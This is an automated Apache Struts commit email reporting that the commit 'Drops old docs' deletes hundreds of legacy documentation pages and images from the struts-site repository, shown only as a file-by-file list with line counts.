You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@struts.apache.org by lu...@apache.org on 2017/10/27 16:25:07 UTC

[struts-site] branch asf-site updated: Drops old docs

This is an automated email from the ASF dual-hosted git repository.

lukaszlenart pushed a commit to branch asf-site
in repository https://gitbox.apache.org/repos/asf/struts-site.git


The following commit(s) were added to refs/heads/asf-site by this push:
     new ec2e777  Drops old docs
ec2e777 is described below

commit ec2e7774e5d8063001755728239947718ad7bec7
Author: Lukasz Lenart <lu...@apache.org>
AuthorDate: Fri Oct 27 18:25:03 2017 +0200

    Drops old docs
---
 content/docs/a.html                                |  163 ---
 content/docs/access-to-valuestack-from-jsps.html   |  241 ----
 ...essing-application-session-request-objects.html |  201 ----
 content/docs/action-chaining.html                  |  138 ---
 content/docs/action-configuration.html             |  296 -----
 content/docs/action-mapper-action-mapping.html     |  179 ---
 content/docs/action-proxy-actionproxy-factory.html |  220 ----
 content/docs/action.html                           |  228 ----
 content/docs/actionerror.html                      |  175 ---
 content/docs/actioneventlistener.html              |  184 ---
 content/docs/actionmapper.html                     |  180 ---
 content/docs/actionmessage.html                    |  173 ---
 content/docs/adminapp.html                         |  359 ------
 content/docs/after-annotation.html                 |  183 ---
 content/docs/ajax-a-template.html                  |  146 ---
 content/docs/ajax-and-javascript-recipes.html      | 1184 --------------------
 content/docs/ajax-client-side-validation.html      |  158 ---
 content/docs/ajax-common-header.html               |  144 ---
 content/docs/ajax-div-template.html                |  288 -----
 content/docs/ajax-event-system.html                |  175 ---
 content/docs/ajax-head-template.html               |  174 ---
 content/docs/ajax-submit-template.html             |  141 ---
 content/docs/ajax-tabbedpanel-template.html        |  141 ---
 content/docs/ajax-tags.html                        |  196 ----
 content/docs/ajax-theme.html                       |  219 ----
 .../ajax-validation.data/ValidationClientAjax.jpg  |  Bin 68976 -> 0 bytes
 .../struts2-ajax-vali-flow.png                     |  Bin 54364 -> 0 bytes
 content/docs/ajax-validation.html                  |  482 --------
 content/docs/ajax.html                             |  202 ----
 content/docs/alias-interceptor.html                |  189 ----
 content/docs/alt-syntax.html                       |  195 ----
 content/docs/annotations.html                      |  237 ----
 content/docs/annotationworkflowinterceptor.html    |  223 ----
 .../struts1-1.jpeg                                 |  Bin 49523 -> 0 bytes
 .../struts1-2.jpeg                                 |  Bin 42736 -> 0 bytes
 .../struts1-3.jpeg                                 |  Bin 36049 -> 0 bytes
 .../struts1-4.jpeg                                 |  Bin 43482 -> 0 bytes
 .../struts1-5.jpeg                                 |  Bin 43170 -> 0 bytes
 .../struts1-6.jpeg                                 |  Bin 40240 -> 0 bytes
 .../struts1-7.jpeg                                 |  Bin 31239 -> 0 bytes
 .../struts1-8.jpeg                                 |  Bin 60153 -> 0 bytes
 .../struts2-1.jpeg                                 |  Bin 69881 -> 0 bytes
 .../struts2-2.jpeg                                 |  Bin 47900 -> 0 bytes
 .../struts2-3.jpeg                                 |  Bin 46546 -> 0 bytes
 ...uts-pseudo-nightly-builds-on-apache-hudson.html |  247 ----
 content/docs/append.html                           |  217 ----
 content/docs/application-servers.html              |  165 ---
 ...application-session-request-objects-in-jsp.html |  177 ---
 .../application-session-request-objects-in-vm.html |  219 ----
 content/docs/architects-guide.html                 |  144 ---
 content/docs/autocompleter.html                    |  196 ----
 content/docs/basic-validation.html                 |  143 ---
 content/docs/bean-configuration.html               |  182 ---
 content/docs/bean-validation-plugin.html           |  300 -----
 content/docs/bean.html                             |  200 ----
 content/docs/before-annotation.html                |  183 ---
 content/docs/beforeresult-annotation.html          |  183 ---
 content/docs/big-picture.data/S2-Architecture.ygf  |  Bin 2022 -> 0 bytes
 .../docs/big-picture.data/Struts2-Architecture.png |  Bin 66255 -> 0 bytes
 content/docs/big-picture.data/arch.doc             |  Bin 32768 -> 0 bytes
 content/docs/big-picture.data/arch.png             |  Bin 12212 -> 0 bytes
 content/docs/big-picture.data/s2-arch-big-old.png  |  Bin 36980 -> 0 bytes
 content/docs/big-picture.data/s2-arch-old.png      |  Bin 74140 -> 0 bytes
 content/docs/big-picture.data/s2-arch.png          |  Bin 74206 -> 0 bytes
 content/docs/big-picture.data/s2-architecture.svg  |  511 ---------
 content/docs/big-picture.html                      |  151 ---
 content/docs/bind.html                             |  172 ---
 content/docs/bootstrap.html                        |  181 ---
 .../docs/building-struts-2-fast-track-release.html |  262 -----
 content/docs/building-struts-2-normal-release.html |  246 ----
 content/docs/building-struts-annotations.html      |  196 ----
 content/docs/building-struts-master.html           |  255 -----
 .../docs/building-the-framework-from-source.html   |  172 ---
 content/docs/building-with-maven.html              |  382 -------
 content/docs/building-your-own-interceptor.html    |  233 ----
 ...thod-apart-from-the-default-execute-method.html |  157 ---
 ...can-i-add-i18n-outside-the-actions-context.html |  163 ---
 ...n-i-change-templatedir-on-a-per-page-basis.html |  174 ---
 ...-change-templatesuffix-on-a-per-page-basis.html |  181 ---
 .../can-i-change-theme-on-a-per-page-basis.html    |  174 ---
 content/docs/can-we-access-an-actions-result.html  |  213 ----
 ...a-large-strutsxml-file-into-smaller-pieces.html |  148 ---
 ...n-we-use-acegi-security-with-the-framework.html |  251 -----
 .../docs/can-we-use-jstl-with-the-framework.html   |  164 ---
 .../docs/can-we-use-junit-with-the-framework.html  |  138 ---
 .../docs/can-we-use-testng-with-the-framework.html |  138 ---
 .../docs/can-you-suggest-an-elevator-pitch.html    |  168 ---
 content/docs/cdi-plugin.html                       |  539 ---------
 .../cewolf-charts-using-velocity-templates.html    |  257 -----
 content/docs/chain-result.html                     |  191 ----
 .../chaining-interceptor.data/HibernateAction.java |   47 -
 .../chaining-interceptor.data/HibernateUtil.java   |   67 --
 content/docs/chaining-interceptor.html             |  177 ---
 content/docs/chat-application.html                 |  315 ------
 content/docs/checkbox-interceptor.html             |  162 ---
 content/docs/checkbox.html                         |  176 ---
 content/docs/checkboxlist.html                     |  176 ---
 content/docs/client-side-validation.html           |  179 ---
 content/docs/client-validation.html                |  150 ---
 content/docs/codebehind-plugin.html                |  205 ----
 content/docs/coding-actions.html                   |  216 ----
 .../coding-struts-2-actions.data/hellobruce.png    |  Bin 22022 -> 0 bytes
 .../coding-struts-2-actions.data/personalhello.png |  Bin 20825 -> 0 bytes
 content/docs/coding-struts-2-actions.html          |  213 ----
 content/docs/colophon.data/autoexport-0.14-dev.jar |  Bin 126051 -> 0 bytes
 content/docs/colophon.data/snippet-patch.zip       |  Bin 15194 -> 0 bytes
 content/docs/colophon.data/snippet-r280.jar        |  Bin 17687 -> 0 bytes
 content/docs/colophon.data/snippet-src.zip         |  Bin 57901 -> 0 bytes
 content/docs/colophon.html                         |  148 ---
 content/docs/combobox.html                         |  215 ----
 content/docs/comparing-struts-1-and-2.html         |  147 ---
 content/docs/component.html                        |  252 -----
 content/docs/conditionalvisitor-validator.html     |  169 ---
 .../config-browser-example.png                     |  Bin 189987 -> 0 bytes
 content/docs/config-browser-plugin.html            |  162 ---
 content/docs/configuration-elements.html           |  212 ----
 content/docs/configuration-files.html              |  184 ---
 .../docs/configuration-provider-configuration.html |  164 ---
 content/docs/constant-configuration.html           |  199 ----
 content/docs/contributors-guide.html               |  208 ----
 content/docs/control-tags.html                     |  146 ---
 content/docs/convention-plugin.html                |  582 ----------
 content/docs/conversion-annotation.html            |  189 ----
 content/docs/conversion-error-interceptor.html     |  204 ----
 content/docs/conversion-validator.html             |  262 -----
 .../conversionerrorfieldvalidator-annotation.html  |  169 ---
 ...ation-from-codebehind-to-convention-plugin.html |  174 ---
 content/docs/cookbook.html                         |  276 -----
 content/docs/cookie-interceptor.html               |  271 -----
 content/docs/cookieprovider-interceptor.html       |  176 ---
 content/docs/core-developers-guide.html            |  255 -----
 content/docs/create-action.html                    |  172 ---
 content/docs/create-session-interceptor.html       |  187 ----
 .../Basic_Struts2_Mvn.png                          |  Bin 18234 -> 0 bytes
 ...age-artifacts-and-to-build-the-application.html |  237 ----
 .../Basic_Strut2_Ant_Structure.png                 |  Bin 23368 -> 0 bytes
 .../Basic_Struts2_Welcome.png                      |  Bin 17245 -> 0 bytes
 ...f-lib-and-use-ant-to-build-the-application.html |  312 ------
 content/docs/createifnull-annotation.html          |  169 ---
 .../docs/creating-and-signing-a-distribution.html  |  189 ----
 content/docs/crud-demo-i.html                      |  602 ----------
 content/docs/cssxhtml-form-template.html           |  141 ---
 content/docs/cssxhtml-head-template.html           |  225 ----
 content/docs/cssxhtml-theme.html                   |  153 ---
 content/docs/customvalidator-annotation.html       |  184 ---
 content/docs/date-validator.html                   |  203 ----
 content/docs/date.html                             |  214 ----
 .../docs/daterangefieldvalidator-annotation.html   |  170 ---
 content/docs/datetextfield.html                    |  152 ---
 content/docs/datetimepicker.html                   |  171 ---
 content/docs/debug.html                            |  138 ---
 .../debugging-struts.data/debuging-struts-1.png    |  Bin 49242 -> 0 bytes
 .../debugging-struts.data/debuging-struts-2.png    |  Bin 79192 -> 0 bytes
 .../debugging-struts.data/debuging-struts-3.png    |  Bin 167300 -> 0 bytes
 content/docs/debugging-struts.html                 |  155 ---
 content/docs/debugging.html                        |  197 ----
 content/docs/debugginginterceptor.html             |  175 ---
 content/docs/default-workflow-interceptor.html     |  240 ----
 content/docs/dependency-injection.html             |  146 ---
 content/docs/describing-a-bean-in-velocity.html    |  171 ---
 .../docs/developing-a-portlet-using-eclipse.html   |  242 ----
 content/docs/devmode.html                          |  160 ---
 content/docs/dispatcher-result.html                |  177 ---
 content/docs/dispatcher.html                       |  138 ---
 content/docs/dispatcherlistener.html               |  172 ---
 content/docs/div.html                              |  160 ---
 content/docs/documentation-style-guide.html        |  475 --------
 .../docs/does-myeclipse-6-support-struts-2.html    |  197 ----
 ...oes-the-framework-integrate-with-hibernate.html |  145 ---
 content/docs/dojo-anchor.html                      |  171 ---
 content/docs/dojo-div.html                         |  172 ---
 content/docs/dojo-head.html                        |  165 ---
 content/docs/dojo-submit.html                      |  177 ---
 content/docs/dojo-textarea.html                    |  164 ---
 content/docs/double-validator.html                 |  197 ----
 .../docs/doublerangefieldvalidator-annotation.html |  173 ---
 content/docs/doubleselect.html                     |  176 ---
 content/docs/dwr-plugin.html                       |  161 ---
 content/docs/editing-the-documentation.html        |  194 ----
 content/docs/element-annotation.html               |  173 ---
 content/docs/else.html                             |  167 ---
 content/docs/elseif.html                           |  179 ---
 content/docs/email-validator.html                  |  200 ----
 content/docs/emailvalidator-annotation.html        |  168 ---
 content/docs/embedded-jsp-plugin.html              |  216 ----
 content/docs/examples.html                         |  153 ---
 content/docs/exception-configuration.html          |  256 -----
 content/docs/exception-handling.html               |  209 ----
 content/docs/exception-interceptor.html            |  211 ----
 content/docs/exclude-parameters.html               |  191 ----
 content/docs/execute-action.html                   |  173 ---
 content/docs/execute-and-wait-interceptor.html     |  274 -----
 ...to-jstl-with-a-jstl-and-displaytag-example.html |  198 ----
 content/docs/expression-validator.html             |  171 ---
 content/docs/expressionvalidator-annotation.html   |  171 ---
 ...tending-an-application-with-custom-plugins.html |  251 -----
 content/docs/extending-themes.html                 |  167 ---
 content/docs/faqs.html                             |  507 ---------
 content/docs/fielderror.html                       |  198 ----
 content/docs/fieldexpression-validator.html        |  182 ---
 .../docs/fieldexpressionvalidator-annotation.html  |  171 ---
 content/docs/file-upload-interceptor.html          |  265 -----
 content/docs/file-upload.html                      |  327 ------
 content/docs/file.html                             |  169 ---
 content/docs/flying-solo.html                      |  146 ---
 content/docs/form-tags.html                        |  146 ---
 .../form-validation-1.png                          |  Bin 42860 -> 0 bytes
 .../form-validation-2.png                          |  Bin 16981 -> 0 bytes
 .../form-validation-3.png                          |  Bin 17160 -> 0 bytes
 content/docs/form-validation-using-xml.html        |  195 ----
 content/docs/form-validation.data/form_errors.png  |  Bin 29272 -> 0 bytes
 .../form-validation.data/form_errors_styled.png    |  Bin 29178 -> 0 bytes
 .../form-validation.data/form_errors_sytled.png    |  Bin 32558 -> 0 bytes
 content/docs/form-validation.html                  |  195 ----
 content/docs/form.html                             |  198 ----
 content/docs/formatting-dates-and-numbers.html     |  222 ----
 content/docs/freemarker-result.html                |  150 ---
 content/docs/freemarker-support.html               |  190 ----
 content/docs/freemarker-tags.html                  |  265 -----
 content/docs/freemarker.html                       |  182 ---
 content/docs/generator.html                        |  237 ----
 content/docs/generic-tag-reference.html            |  223 ----
 content/docs/generic-tags.html                     |  144 ---
 content/docs/getting-started.html                  |  189 ----
 content/docs/glassfish-2x.html                     |  155 ---
 content/docs/google-app-engine-gae.html            |  355 ------
 content/docs/groovyresult.html                     |  386 -------
 content/docs/guides.html                           |  195 ----
 content/docs/handling-file-uploads.html            |  223 ----
 content/docs/head.html                             |  172 ---
 .../docs/hello-world-using-struts-2.data/Hello.png |  Bin 13038 -> 0 bytes
 .../Struts2HelloWorld.png                          |  Bin 20676 -> 0 bytes
 content/docs/hello-world-using-struts-2.html       |  269 -----
 content/docs/hello-world.html                      |  275 -----
 ...eandspringenabledexecuteandwaitinterceptor.html |  248 ----
 content/docs/hidden.html                           |  176 ---
 content/docs/home.html                             |  165 ---
 ...-the-attribute-short-circuit-error-message.html |  161 ---
 ...e-over-a-range-like-with-jstls-foreach-tag.html |  140 ---
 ...call-for-instance-in-an-onchange-attribute.html |  171 ---
 ...r-the-action-execution-outside-a-container.html |  140 ---
 ...s-request-parameters-passed-into-an-action.html |  155 ---
 .../how-can-we-access-the-httpservletrequest.html  |  179 ---
 .../how-can-we-access-the-httpservletresponse.html |  178 ---
 ...-which-methods-are-excused-from-validation.html |  162 ---
 ...tion-objects-from-the-spring-configuration.html |  175 ---
 ...-that-can-be-provided-as-an-array-of-bytes.html |  228 ----
 ...ce-the-action-mappings-strutsxml-to-reload.html |  176 ---
 ...an-we-return-a-text-string-as-the-response.html |  189 ----
 content/docs/how-can-we-schedule-quartz-jobs.html  |  225 ----
 content/docs/how-can-we-test-actions.html          |  252 -----
 content/docs/how-can-we-test-applications.html     |  144 ---
 ...dd-i18n-to-a-ui-tag-like-the-textfield-tag.html |  189 ----
 ...input-error-message-for-a-particular-field.html |  165 ---
 ...obal-resource-bundle-loading-from-serlvets.html |  141 ---
 .../docs/how-do-i-enable-encoding-in-my-forms.html |  145 ---
 .../how-do-i-obtain-security-details-jaas.html     |  181 ---
 ...rm-bean-and-get-the-value-using-the-taglib.html |  201 ----
 .../how-do-i-render-a-single-radio-button.html     |  170 ---
 .../how-do-i-set-a-global-resource-bundle.html     |  211 ----
 ...do-i-unit-test-my-actions-validation-logic.html |  183 ---
 ...o-i-use-messages-from-within-the-validator.html |  164 ---
 ...we-access-static-parameters-from-an-action.html |  202 ----
 ...ation-action-name-or-namespace-from-a-view.html |  158 ---
 content/docs/how-do-we-change-locales.html         |  180 ---
 ...n-interceptor-to-be-used-with-every-action.html |  184 ---
 ...-do-we-download-files-within-the-framework.html |  138 ---
 .../docs/how-do-we-get-access-to-the-session.html  |  155 ---
 .../docs/how-do-we-get-invalidate-the-session.html |  169 ---
 ...-repopulate-controls-when-validation-fails.html |  310 -----
 content/docs/how-do-we-upload-files.html           |  236 ----
 ...ions-easier-to-develop-deploy-and-maintain.html |  140 ---
 ...e-portlet-war-for-a-specific-portal-server.html |  170 ---
 .../how-to-create-a-struts-2-web-application.html  |  153 ---
 ...o-escape-special-chars-in-resource-bundles.html |  175 ---
 content/docs/how-to-format-dates-and-numbers.html  |  222 ----
 ...w-to-support-utf-8-uriencoding-with-tomcat.html |  165 ---
 ...idate-field-formats-such-as-a-phone-number.html |  174 ---
 content/docs/html-form-buttons-howto.html          |  223 ----
 content/docs/http-session.html                     |  218 ----
 content/docs/httpheader-result.html                |  171 ---
 content/docs/https-and-ie-issues.html              |  183 ---
 content/docs/i18n-interceptor.html                 |  146 ---
 content/docs/i18n.html                             |  176 ---
 ...secure-and-nonsecure-items-when-using-dojo.html |  183 ---
 content/docs/if.html                               |  150 ---
 ...and-it-cant-instantiate-the-velocityengine.html |  190 ----
 content/docs/include-configuration.html            |  171 ---
 content/docs/include.html                          |  195 ----
 content/docs/inputconfig-annotation.html           |  186 ---
 content/docs/inputtransferselect.html              |  186 ---
 content/docs/int-validator.html                    |  195 ----
 content/docs/interceptor-configuration.html        |  192 ----
 content/docs/interceptor-order.html                |  189 ----
 content/docs/interceptors.data/overview.png        |  Bin 17554 -> 0 bytes
 content/docs/interceptors.html                     |  361 ------
 .../docs/intrangefieldvalidator-annotation.html    |  175 ---
 content/docs/introducing-interceptors.html         |  190 ----
 content/docs/introduction.html                     |  138 ---
 content/docs/iterator-tag-examples.html            |  248 ----
 content/docs/iterator.html                         |  303 -----
 content/docs/jasperreports-plugin.html             |  173 ---
 content/docs/jasperreports-tutorial.html           |  465 --------
 content/docs/java-8-support-plugin.html            |  167 ---
 content/docs/javatemplates-plugin.html             |  156 ---
 content/docs/jboss-5.html                          |  168 ---
 content/docs/jfreechart-plugin.html                |  251 -----
 content/docs/jrockit.html                          |  190 ----
 content/docs/jsf-plugin.html                       |  222 ----
 content/docs/json-plugin.html                      |  530 ---------
 content/docs/jsp-tags.html                         |  171 ---
 content/docs/jsp.html                              |  252 -----
 content/docs/junit-plugin.html                     |  224 ----
 content/docs/key-annotation.html                   |  170 ---
 content/docs/key-changes-from-webwork-2.html       |  226 ----
 content/docs/keyproperty-annotation.html           |  171 ---
 content/docs/label.html                            |  176 ---
 content/docs/localization.html                     |  146 ---
 content/docs/localizing-output.html                |  280 -----
 content/docs/logger-interceptor.html               |  184 ---
 content/docs/logging.html                          |  219 ----
 ...ceptions-on-missing-properties-or-log-them.html |  169 ---
 content/docs/merge.html                            |  228 ----
 .../docs/message-resource-files.data/contact.png   |  Bin 39572 -> 0 bytes
 .../message-resource-files.data/hellogreeting.png  |  Bin 30166 -> 0 bytes
 .../docs/message-resource-files.data/register.png  |  Bin 24054 -> 0 bytes
 .../message-resource-files.data/registerInput.png  |  Bin 35660 -> 0 bytes
 .../message-resource-files.data/spanishform.png    |  Bin 29064 -> 0 bytes
 .../docs/message-resource-files.data/thankyou.png  |  Bin 25501 -> 0 bytes
 content/docs/message-resource-files.html           |  213 ----
 content/docs/message-store-interceptor.html        |  159 ---
 content/docs/migration-guide.html                  |  402 -------
 content/docs/migration-strategies.html             |  146 ---
 content/docs/migration-tools.html                  |  163 ---
 content/docs/model-driven-interceptor.html         |  199 ----
 content/docs/model-driven.html                     |  205 ----
 .../multiple-struts-2-wars-in-a-single-ear.html    |  190 ----
 content/docs/multiple-submit-buttons.html          |  346 ------
 content/docs/multiselect-interceptor.html          |  140 ---
 content/docs/namespace-annotation.html             |  148 ---
 content/docs/namespace-configuration.html          |  207 ----
 ...oc-version-of-opensessioninviewinterceptor.html |  227 ----
 content/docs/noop-interceptor.html                 |  138 ---
 content/docs/nutshell.data/nutshell.GIF            |  Bin 18545 -> 0 bytes
 content/docs/nutshell.data/struts2-arch.png        |  Bin 19723 -> 0 bytes
 content/docs/nutshell.html                         |  264 -----
 content/docs/objectfactory.html                    |  160 ---
 content/docs/obtain-response.html                  |  182 ---
 content/docs/obtaining-an-idea-license.html        |  163 ---
 content/docs/ognl-basics.html                      |  180 ---
 content/docs/ognl-expression-compilation.html      |  347 ------
 content/docs/ognl.html                             |  226 ----
 content/docs/one-time-steps.html                   |  297 -----
 content/docs/optgroup.html                         |  187 ----
 content/docs/optiontransferselect.html             |  216 ----
 content/docs/osgi-plugin.data/struts-osgi.jpg      |  Bin 74707 -> 0 bytes
 content/docs/osgi-plugin.html                      |  425 -------
 content/docs/other-resources.html                  |  204 ----
 content/docs/oval-plugin.html                      |  334 ------
 content/docs/package-configuration.html            |  216 ----
 content/docs/param.html                            |  214 ----
 content/docs/parameter-filter-interceptor.html     |  204 ----
 .../docs/parameters-in-configuration-results.html  |  209 ----
 content/docs/parameters-interceptor.html           |  159 ---
 content/docs/parentpackage-annotation.html         |  149 ---
 content/docs/password.html                         |  176 ---
 content/docs/performance-tuning.html               |  141 ---
 content/docs/plaintext-result.html                 |  160 ---
 content/docs/plexus-plugin.html                    |  188 ----
 content/docs/plugin-developers-guide.html          |  231 ----
 content/docs/plugins.html                          |  164 ---
 content/docs/portlet-configuration.html            |  138 ---
 content/docs/portlet-plugin.html                   |  216 ----
 content/docs/portlet-tiles-plugin.html             |  197 ----
 .../portlet-tutorial-webwork-22.data/buildpath.jpg |  Bin 47890 -> 0 bytes
 .../hello-world-form-1.jpg                         |  Bin 32930 -> 0 bytes
 .../hello-world-result-1.jpg                       |  Bin 27580 -> 0 bytes
 .../jboss-portal-frontpage.jpg                     |  Bin 100111 -> 0 bytes
 .../jboss-portal-portlet-page.jpg                  |  Bin 26682 -> 0 bytes
 .../new-project-1.jpg                              |  Bin 56836 -> 0 bytes
 .../new-project-2.jpg                              |  Bin 62309 -> 0 bytes
 .../project-structure-hello-world-1.jpg            |  Bin 67307 -> 0 bytes
 content/docs/portlet-tutorial-webwork-22.html      |  453 --------
 content/docs/postback-result.html                  |  162 ---
 content/docs/precise-error-reporting.html          |  144 ---
 content/docs/preparable-interface.html             |  159 ---
 content/docs/prepare-interceptor.html              |  213 ----
 content/docs/preresultlistener.html                |  195 ----
 content/docs/processing-forms.data/registerjsp.png |  Bin 13152 -> 0 bytes
 content/docs/processing-forms.data/thanyoujsp.png  |  Bin 14971 -> 0 bytes
 content/docs/processing-forms.html                 |  317 ------
 content/docs/profiling-interceptor.html            |  178 ---
 content/docs/profiling.html                        |  221 ----
 content/docs/property.html                         |  172 ---
 .../pure-javascript-client-side-validation.html    |  165 ---
 content/docs/push.html                             |  225 ----
 content/docs/radio.html                            |  185 ---
 content/docs/ready-set-go.html                     |  186 ---
 content/docs/redirect-action-result.html           |  242 ----
 content/docs/redirect-after-post.html              |  140 ---
 content/docs/redirect-result.html                  |  200 ----
 content/docs/regex-validator.html                  |  194 ----
 content/docs/regexfieldvalidator-annotation.html   |  168 ---
 content/docs/release-notes-200.html                |  320 ------
 content/docs/release-notes-201.html                |  173 ---
 content/docs/release-notes-2010.html               |  216 ----
 content/docs/release-notes-2011.html               |  174 ---
 content/docs/release-notes-20111.html              |  163 ---
 content/docs/release-notes-20112.html              |  163 ---
 content/docs/release-notes-2012.html               |  167 ---
 content/docs/release-notes-2013.html               |  165 ---
 content/docs/release-notes-2014.html               |  166 ---
 content/docs/release-notes-202.html                |  214 ----
 content/docs/release-notes-203.html                |  203 ----
 content/docs/release-notes-204.html                |  203 ----
 content/docs/release-notes-205.html                |  203 ----
 content/docs/release-notes-206.html                |  227 ----
 content/docs/release-notes-207.html                |  226 ----
 content/docs/release-notes-208.html                |  248 ----
 content/docs/release-notes-209.html                |  210 ----
 content/docs/release-plan-200.html                 |  265 -----
 content/docs/release-plan-201.html                 |  372 ------
 content/docs/release-plan-202.html                 |  315 ------
 content/docs/reloading-configuration.html          |  163 ---
 content/docs/required-validator.html               |  181 ---
 .../docs/requiredfieldvalidator-annotation.html    |  168 ---
 content/docs/requiredstring-validator.html         |  189 ----
 .../docs/requiredstringvalidator-annotation.html   |  168 ---
 content/docs/requirements.html                     |  283 -----
 content/docs/reset.html                            |  185 ---
 content/docs/rest-plugin.html                      |  252 -----
 content/docs/restfulactionmapper.html              |  301 -----
 content/docs/result-annotation.html                |  181 ---
 content/docs/result-configuration.html             |  231 ----
 content/docs/result-types.html                     |  211 ----
 content/docs/roles-interceptor.html                |  182 ---
 content/docs/romeresult.html                       |  293 -----
 content/docs/s2-001.html                           |  179 ---
 content/docs/s2-002.html                           |  158 ---
 content/docs/s2-003.html                           |  164 ---
 content/docs/s2-004.html                           |  162 ---
 content/docs/s2-005.html                           |  189 ----
 content/docs/s2-006.html                           |  198 ----
 content/docs/s2-007.html                           |  153 ---
 content/docs/s2-008.html                           |  168 ---
 content/docs/s2-009.html                           |  247 ----
 content/docs/s2-010.html                           |  158 ---
 content/docs/s2-011.html                           |  156 ---
 content/docs/s2-012.html                           |  236 ----
 content/docs/s2-013.html                           |  210 ----
 content/docs/s2-014.html                           |  217 ----
 content/docs/s2-015.html                           |  234 ----
 content/docs/s2-016.html                           |  195 ----
 content/docs/s2-017.html                           |  185 ---
 content/docs/s2-018.html                           |  162 ---
 content/docs/s2-019.html                           |  178 ---
 content/docs/s2-020.html                           |  162 ---
 content/docs/s2-021.html                           |  156 ---
 content/docs/s2-022.html                           |  138 ---
 content/docs/s2-023.html                           |  138 ---
 content/docs/s2-024.html                           |  181 ---
 content/docs/s2-025.html                           |  138 ---
 content/docs/s2-026.html                           |  155 ---
 content/docs/s2-027.html                           |  138 ---
 content/docs/s2-028.html                           |  165 ---
 content/docs/s2-029.html                           |  167 ---
 content/docs/s2-030.html                           |  138 ---
 content/docs/s2-031.html                           |  138 ---
 content/docs/s2-032.html                           |  138 ---
 content/docs/s2-033.html                           |  138 ---
 content/docs/s2-034.html                           |  138 ---
 content/docs/s2-035.html                           |  138 ---
 content/docs/s2-036.html                           |  138 ---
 content/docs/s2-037.html                           |  138 ---
 content/docs/s2-038.html                           |  154 ---
 content/docs/s2-039.html                           |  154 ---
 content/docs/s2-040.html                           |  154 ---
 content/docs/s2-041.html                           |  158 ---
 content/docs/s2-042.html                           |  138 ---
 content/docs/s2-043.html                           |  138 ---
 content/docs/s2-044.html                           |  156 ---
 content/docs/s2-045.html                           |  180 ---
 content/docs/s2-046.html                           |  180 ---
 content/docs/s2-047.html                           |  167 ---
 content/docs/s2-048.html                           |  156 ---
 content/docs/s2-049.html                           |  154 ---
 content/docs/s2-050.html                           |  166 ---
 content/docs/s2-051.html                           |  138 ---
 content/docs/s2-052.html                           |  162 ---
 content/docs/s2-053.html                           |  159 ---
 content/docs/sample-announcements.html             |  317 ------
 content/docs/scope-interceptor.html                |  156 ---
 content/docs/scoped-model-driven-interceptor.html  |  188 ----
 content/docs/security-bulletins.html               |  307 -----
 content/docs/security.html                         |  247 ----
 content/docs/select.html                           |  204 ----
 content/docs/selecting-results.html                |  237 ----
 content/docs/selecting-template-directory.html     |  144 ---
 content/docs/selecting-themes.html                 |  147 ---
 content/docs/servlet-config-interceptor.html       |  186 ---
 content/docs/set.html                              |  185 ---
 content/docs/short-validator.html                  |  195 ----
 ...-getmodel-multiple-times-as-a-page-renders.html |  140 ---
 content/docs/simple-head-template.html             |  182 ---
 content/docs/simple-setup.html                     |  232 ----
 content/docs/simple-theme.html                     |  157 ---
 content/docs/simplelogin-with-session.html         |  342 ------
 content/docs/sitegraph-plugin.data/example.gif     |  Bin 32903 -> 0 bytes
 content/docs/sitegraph-plugin.html                 |  143 ---
 content/docs/sitegraph-plugin.thumbs/example.gif   |  Bin 2864 -> 0 bytes
 content/docs/sitemesh-plugin.html                  |  451 --------
 content/docs/skinning.html                         |  210 ----
 content/docs/sort.html                             |  193 ----
 content/docs/spring-and-struts-2.html              |  213 ----
 content/docs/spring-plugin.html                    |  249 ----
 .../spring-session-components-workarounds.html     |  138 ---
 content/docs/static-content.html                   |  186 ---
 content/docs/static-parameters-interceptor.html    |  184 ---
 content/docs/stream-result.html                    |  203 ----
 content/docs/stringlength-validator.html           |  199 ----
 .../stringlengthfieldvalidator-annotation.html     |  172 ---
 content/docs/struts-1-plugin.html                  |  197 ----
 content/docs/struts-1-solutions.html               |  258 -----
 .../Screen-shot-2010-10-24-at-10.51.45-AM.png      |  Bin 31742 -> 0 bytes
 content/docs/struts-2-annotations.html             |  185 ---
 content/docs/struts-2-blank-archetype.html         |  319 ------
 .../Screen-shot-2010-04-25-at-8.39.59-AM.png       |  Bin 31990 -> 0 bytes
 content/docs/struts-2-form-tags.html               |  244 ----
 content/docs/struts-2-junit-plugin-tutorial.html   |  342 ------
 content/docs/struts-2-maven-archetypes.html        |  457 --------
 .../AddBookmarkForm.jpg                            |  Bin 20684 -> 0 bytes
 .../ListBookmarks.GIF                              |  Bin 9040 -> 0 bytes
 .../ListBookmarks.jpg                              |  Bin 28285 -> 0 bytes
 .../ListBookmarksInEditMode.jpg                    |  Bin 36687 -> 0 bytes
 .../bookmark-portlet.zip                           |  Bin 14860 -> 0 bytes
 content/docs/struts-2-portlet-tutorial.html        |  725 ------------
 .../struts-2-spring-2-jpa-ajax.data/quickstart.zip |  Bin 9922 -> 0 bytes
 .../quickstart_maven.zip                           |  Bin 7995 -> 0 bytes
 .../quickstart_maven2.zip                          |  Bin 7995 -> 0 bytes
 content/docs/struts-2-spring-2-jpa-ajax.html       |  798 -------------
 .../Screen-shot-2010-09-11-at-12.37.12-PM.png      |  Bin 12576 -> 0 bytes
 content/docs/struts-2-themes.html                  |  190 ----
 content/docs/struts-23-to-25-migration.html        |  221 ----
 content/docs/struts-control-tags.html              |  182 ---
 content/docs/struts-defaultvm.html                 |  174 ---
 content/docs/struts-defaultxml.html                |  552 ---------
 content/docs/struts-maven-archetypes.html          |  277 -----
 content/docs/struts-next.html                      |  156 ---
 content/docs/struts-tags.html                      |  176 ---
 content/docs/strutsproperties.html                 |  364 ------
 content/docs/strutsxml-examples.html               |  300 -----
 content/docs/strutsxml.html                        |  161 ---
 content/docs/submit.html                           |  170 ---
 content/docs/subset.html                           |  250 -----
 content/docs/sunone-70.html                        |  179 ---
 content/docs/tabbedpanel.html                      |  170 ---
 content/docs/tabular-inputs-with-hashmap.html      |  268 -----
 content/docs/tabular-inputs.html                   |  289 -----
 content/docs/tag-developers-guide.html             |  174 ---
 content/docs/tag-reference.html                    |  175 ---
 content/docs/tag-syntax.html                       |  271 -----
 content/docs/template-loading.html                 |  145 ---
 content/docs/testimonials.html                     |  159 ---
 content/docs/testing-actions.html                  |  231 ----
 content/docs/testng-plugin.html                    |  196 ----
 content/docs/text.html                             |  175 ---
 content/docs/textarea.html                         |  168 ---
 content/docs/textfield.html                        |  160 ---
 .../Struts2-Architecture.png                       |  Bin 66255 -> 0 bytes
 content/docs/the-struts-2-request-flow.html        |  148 ---
 content/docs/themes-and-templates.html             |  189 ----
